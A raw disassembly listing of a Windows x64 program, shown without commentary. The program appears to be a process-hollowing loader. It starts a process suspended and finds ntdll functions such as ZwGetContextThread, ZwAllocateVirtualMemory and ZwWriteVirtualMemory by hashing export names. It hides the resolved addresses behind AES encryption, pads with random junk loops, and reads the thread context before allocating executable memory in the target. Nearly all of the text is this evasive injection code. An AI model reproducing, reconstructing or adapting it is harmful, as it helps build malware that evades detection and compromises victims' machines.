mov rax, rcx
cmp rdx, 0x1000
jb 0x140007426
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007426
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x14000749b
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007483
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007483
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x1400074e0
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400074da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400074da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x14000753d
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007537
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007537
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov eax, 0xfffffffd
jmp 0x140009065
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xcc0]
xor ecx, ecx
call rbx
test eax, eax
jne 0x14000790a
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x1400075c9
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400075c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400075c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x140007627
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007621
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007621
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x140007685
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000767f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000767f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x1400076e3
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400076dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400076dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x140007741
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000773b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000773b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x1400077b0
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007798
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007798
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x1400077f5
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400077ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400077ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140007853
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000784d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000784d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x1400078c2
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400078aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400078aa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov r8, qword [rbp + 0x548]
cmp r8, 0xf
jbe 0x1400078db
mov rdx, qword [rbp + 0x530]
call fcn.14000adb0
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
lea rcx, [rbp + 0x5a8]
call fcn.140009cb0
mov eax, 0xfffffffc
jmp 0x140009065
lea rcx, [0x140010878]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
mov esi, r12d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x1400079a4
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x54], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x32
sub edi, ecx
mov ecx, dword [rbp - 0x54]
sub ecx, edi
mov dword [rsp + 0x54], ecx
mov ecx, dword [rsp + 0x54]
mov eax, dword [rbp - 0x54]
add ecx, eax
mov dword [rsp + 0x54], ecx
inc esi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp esi, edi
jl 0x140007941
mov esi, r12d
test rbx, rbx
je 0x140007a49
lea rcx, str.ZwGetContextThread
mov edi, r12d
mov al, 0x5a
nop dword [rax]
ror edi, 0xd
movsx eax, al
add edi, eax
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x1400079c0
movsxd rax, dword [rbx + 0x3c]
mov ecx, dword [rax + rbx + 0x88]
add rcx, rbx
mov r8d, dword [rcx + 0x20]
add r8, rbx
mov r11d, dword [rcx + 0x24]
add r11, rbx
mov r12d, dword [rcx + 0x1c]
add r12, rbx
xor eax, eax
mov r9d, eax
mov r10d, dword [rcx + 0x18]
test r10d, r10d
je 0x140007a46
nop dword [rax]
nop dword [rax + rax]
mov edx, dword [r8]
add rdx, rbx
mov ecx, eax
movzx eax, byte [rdx]
test al, al
je 0x140007a33
nop
ror ecx, 0xd
movsx eax, al
add ecx, eax
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140007a20
cmp ecx, edi
je 0x140007a8c
inc r9d
add r8, 4
cmp r9d, r10d
mov rax, rsi
jb 0x140007a10
xor r12d, r12d
mov rax, r12
sub rax, rbx
mov qword [rbp + 0x680], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007aa0
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007b58
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [r12 + rcx*4]
add rax, rbx
xor r12d, r12d
jmp 0x140007a4c
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140007af2
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007b4f
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x680]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x7b0]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x140007b23
lea rdx, str.Failed_to_encrypt_data
jmp 0x140007ad4
movsxd rsi, dword [rbp - 0x58]
lea rdx, [rbp + 0x7b0]
add rdx, rsi
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x140007b4c
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140007ad4
add esi, dword [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007b8e
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007c37
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140007bc4
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140007c12
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x7b0]
lea r8, [rbp - 0x54]
lea rdx, [rbp - 0x28]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140007bee
lea rdx, str.Failed_to_decrypt_data
jmp 0x140007c12
movsxd rax, dword [rbp - 0x54]
lea rdx, [rbp - 0x28]
add rdx, rax
lea r8, [rbp - 0x54]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140007c2e
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
lea rdx, [0x14000b1e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov r13, qword [rbp - 0x28]
add r13, rbx
mov esi, r12d
test rbx, rbx
je 0x140007ceb
lea rcx, str.ZwAllocateVirtualMemory
mov edi, r12d
mov al, 0x5a
nop word [rax + rax]
ror edi, 0xd
movsx eax, al
add edi, eax
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140007c60
movsxd rax, dword [rbx + 0x3c]
mov ecx, dword [rax + rbx + 0x88]
add rcx, rbx
mov r8d, dword [rcx + 0x20]
add r8, rbx
mov r11d, dword [rcx + 0x24]
add r11, rbx
mov r12d, dword [rcx + 0x1c]
add r12, rbx
xor eax, eax
mov r9d, eax
mov r10d, dword [rcx + 0x18]
test r10d, r10d
je 0x140007ce8
nop dword [rax]
nop dword [rax + rax]
mov edx, dword [r8]
add rdx, rbx
mov ecx, eax
movzx eax, byte [rdx]
test al, al
je 0x140007cd3
nop
ror ecx, 0xd
movsx eax, al
add ecx, eax
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140007cc0
cmp ecx, edi
je 0x140007d2e
inc r9d
add r8, 4
cmp r9d, r10d
mov eax, 0
jb 0x140007cb0
xor r12d, r12d
mov rax, r12
sub rax, rbx
mov qword [rbp + 0x688], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007d42
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007dfa
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [r12 + rcx*4]
add rax, rbx
xor r12d, r12d
jmp 0x140007cee
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140007d94
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007df1
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x688]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x7f0]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x140007dc5
lea rdx, str.Failed_to_encrypt_data
jmp 0x140007d76
movsxd rsi, dword [rbp - 0x58]
lea rdx, [rbp + 0x7f0]
add rdx, rsi
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x140007dee
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140007d76
add esi, dword [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007e30
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007ed9
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140007e66
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140007eb4
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x7f0]
lea r8, [rbp - 0x54]
lea rdx, [rbp - 8]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140007e90
lea rdx, str.Failed_to_decrypt_data
jmp 0x140007eb4
movsxd rax, dword [rbp - 0x54]
lea rdx, [rbp - 8]
add rdx, rax
lea r8, [rbp - 0x54]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140007ed0
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
lea rdx, [0x14000b1e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
add rbx, qword [rbp - 8]
lea rdi, [rbp + 0x20]
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov dword [rbp + 0x50], 0x10000b
lea rdx, [rbp + 0x20]
mov rcx, qword [r14 + 8]
call r13
mov rcx, qword [r14]
test eax, eax
jns 0x1400082fd
mov edx, 0xfffffffb
call qword [0x142e41830]
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x140007f58
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007f52
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007f52
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x140007fb6
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007fb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007fb0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x140008014
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000800e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000800e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x140008072
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000806c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000806c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x1400080d0
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400080ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400080ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x14000813f
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008127
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008127
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140008184
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000817e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000817e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x1400081e2
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400081dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400081dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x140008251
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008239
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008239
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140008296
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008290
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008290
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x1400082f3
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400082ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400082ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov eax, 0xfffffffb
jmp 0x140009065
mov rax, qword [r15 + 0x30]
mov qword [rbp - 0x30], rax
mov eax, dword [r15 + 0x50]
mov qword [rbp + 0x690], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x690]
xor r8d, r8d
lea rdx, [rbp - 0x30]
call rbx
test eax, eax
js 0x140008a1b
cmp qword [rbp - 0x30], 0
je 0x140008a1b
lea rdx, str.ZwWriteVirtualMemory
mov rcx, qword [0x140019320]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call fcn.1400045e0
test rdi, rdi
jne 0x140008423
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Failed_to_get_address_of_ZwWriteVirtualMemory_n
call fcn.140001280
mov rcx, qword [0x140019320]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rcx, [rbp + 0x600]
call fcn.14000a6a0
nop
